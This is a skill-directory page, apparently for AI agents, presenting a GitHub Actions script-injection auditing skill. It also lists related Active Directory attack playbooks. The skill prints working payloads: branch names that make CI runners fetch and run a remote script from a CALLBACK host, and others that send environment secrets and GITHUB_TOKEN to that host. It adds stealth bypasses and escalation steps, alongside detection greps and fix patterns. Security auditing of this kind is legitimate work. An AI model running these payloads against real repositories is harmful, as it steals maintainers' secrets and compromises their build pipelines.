security-talent/bugskill-ai

github-actions-script-injection

Use when auditing GitHub Actions workflows for script injection vulnerabilities via unsanitized context expressions.

ソースを見る

使い方

  1. インストールコマンドをコピーし、自分の環境へ導入する前にソースを確認します。
  2. 必要なツール、認証情報、対応環境を原文で確認します。
  3. 入力と成果物を指定し、出力を資料と照合します。
npx skills add https://github.com/security-talent/bugskill-ai --skill github-actions-script-injection

開始前の確認

  • 導入にはモデル契約、API枠、ファイルへのアクセス許可は含まれません。
  • スター数や導入数は活動の指標であり、独立した品質・安全性試験ではありません。
リポジトリの原文

見出し、例、コード、表、リンク、参照画像を含む原文を表示しています。

GitHub Actions Script Injection

What Is Broken and Why

GitHub Actions workflows interpolate context expressions like ${{ github.head_ref }} directly into shell run: steps at workflow parse time — before the shell executes. An attacker who controls the input (branch name, PR title, issue body, commit message) can inject arbitrary shell commands that execute with the workflow's token permissions. Even a read-only token becomes dangerous if it can be leveraged into cache poisoning, secret exfiltration via subsequent workflows, or SSRF to internal services.

Key Signals

  • run: steps containing ${{ github.head_ref }}, ${{ github.event.pull_request.title }},

${{ github.event.pull_request.body }}, ${{ github.event.issue.title }}, ${{ github.event.issue.body }}, ${{ github.event.comment.body }}

  • pull_request_target trigger (runs in base repo context — elevated permissions + secrets)
  • workflow_run consuming artifacts or outputs from untrusted workflows
  • issue_comment, pull_request_review_comment triggers with body interpolation
  • Workflows that echo, log, or use attacker-controlled strings in shell steps
  • ${{ toJson(github.event) }} piped into scripts
  • Missing env: variable indirection (safe pattern uses env: VAR: ${{ expr }} then $VAR)

Methodology

  1. Enumerate all workflow files: find .github/workflows -name "*.yml" -o -name "*.yaml"
  2. Grep for dangerous context variables used directly in run: blocks:
   grep -rn 'run:' .github/workflows/ | grep -E '\$\{\{.*github\.(head_ref|event\.'
  1. For each hit, trace the trigger: is it pull_request, pull_request_target, issue_comment, workflow_dispatch?
  2. Check token permissions: permissions: block or default GITHUB_TOKEN scope.
  3. Identify what secrets are available in the workflow environment.
  4. Craft a branch name (or PR title/body) with injection payload.
  5. Open a PR from a fork using the malicious branch name to trigger the workflow.
  6. Confirm RCE via out-of-band callback (DNS/HTTP to CALLBACK server).
  7. Escalate: exfiltrate secrets, poison cache, pivot to downstream workflows.

Payloads & Tools

bash
# Malicious branch name for github.head_ref injection
# Uses ${IFS} to avoid spaces (which break branch names)
git checkout -b '$({curl,-sSfL,https://CALLBACK/payload.sh}${IFS}|${IFS}bash)'
git push origin HEAD

# Simpler OOB detection payload (DNS exfil)
git checkout -b '$(curl${IFS}https://CALLBACK/$(cat${IFS}/proc/self/environ|base64))'

# Exfiltrate GITHUB_TOKEN
git checkout -b '$(curl${IFS}-d${IFS}@/proc/self/environ${IFS}https://CALLBACK)'

# lucky-commit: make malicious commit SHA match a short prefix (stealth)
lucky-commit SHORTSHA
bash
# Grep workflows for injection points
grep -rn '\${{' .github/workflows/ | grep 'run:' -A5 | \
  grep -E 'head_ref|event\.pull_request\.(title|body)|event\.issue\.(title|body)|event\.comment\.body'

# Check pull_request_target triggers (highest risk)
grep -rn 'pull_request_target' .github/workflows/

Bypass Techniques

  • Space bypass: use ${IFS} instead of spaces in branch names
  • Quote bypass: use $'...' ANSI-C quoting or hex encoding $'\x63\x75\x72\x6c'
  • Short SHA collision: use lucky-commit to craft a commit whose SHA matches a known prefix, making the imposter commit look legitimate in reviews
  • Restricted characters in branch names: use {cmd,arg1,arg2} brace expansion, $() subshell, backtick substitution
  • Workflow expression filters: if ${{ github.head_ref }} is filtered, try ${{ github.event.pull_request.head.ref }} or other equivalent paths in the event payload

Exploitation Scenarios

Scenario 1 — Secret exfiltration via branch name Setup: Workflow runs on pull_request trigger with run: echo "Testing ${{ github.head_ref }}". Token has read-only permissions but the workflow environment contains AWS_ACCESS_KEY_ID. Trigger: Attacker opens PR from fork with branch named $(printenv|curl${IFS}-d${IFS}@-${IFS}https://CALLBACK). Impact: All environment variables including secrets exfiltrated to attacker's server.

Scenario 2 — Cache poisoning pivot (low-priv token) Setup: Workflow has read-only GITHUB_TOKEN — no direct secret access. Trigger: Injection deploys Cacheract, fills cache past 10 GB, plants poisoned node_modules. Impact: Downstream privileged workflow restores poisoned cache, executes attacker code with elevated token. (See: github-actions-cache-poisoning skill for full technique.)

Scenario 3 — pull_request_target full compromise Setup: Workflow uses pull_request_target (runs in base repo context with write token + secrets). Trigger: Attacker forks repo, opens PR with injected PR body containing ${{ github.event.pull_request.body }} payload. Impact: Workflow executes with base repo's full write token — direct push to main, secret exfiltration, artifact tampering.

False Positives

  • Expression inside if: condition only — not executed as shell, not injectable
  • Expression assigned to env: variable with no subsequent shell interpolation
  • Expression used only in with: action inputs — depends on action implementation
  • Sanitized via ${{ inputs.value }} where inputs come from workflow_dispatch with type: choice

Fix Patterns

yaml
# WRONG: direct interpolation into shell
- run: echo "Branch: ${{ github.head_ref }}"

# CORRECT: assign to env var, reference via shell variable
- run: echo "Branch: $BRANCH_NAME"
  env:
    BRANCH_NAME: ${{ github.head_ref }}
  • Use env: indirection for all attacker-controlled context values — shell variables are not parsed as code
  • Prefer pull_request over pull_request_target unless base repo context is strictly necessary
  • Pin third-party actions to full commit SHAs, not tags
  • Restrict permissions: to minimum required (contents: read only when possible)
  • Use harden-runner (StepSecurity) to detect unexpected network calls during CI

Related Skills

[[github-actions-cache-poisoning]] is the natural escalation when script injection yields only a read-only token — the injected code writes poisoned cache entries that a later privileged workflow restores. [[pwn-request]] is the trigger mechanism that causes this skill to fire: a pull_request_target workflow checked out from an attacker-controlled fork is how script injection reaches a privileged context. [[cicd-bot-command-injection]] exploits the same untrusted-input-in-workflow pattern but through comment triggers rather than branch names.

同じリポジトリから

関連する Skills

すべての Skills
security-talent
コミュニティ

401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日
security-talent
コミュニティ

active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日
security-talent
コミュニティ

active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日
security-talent
コミュニティ

active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日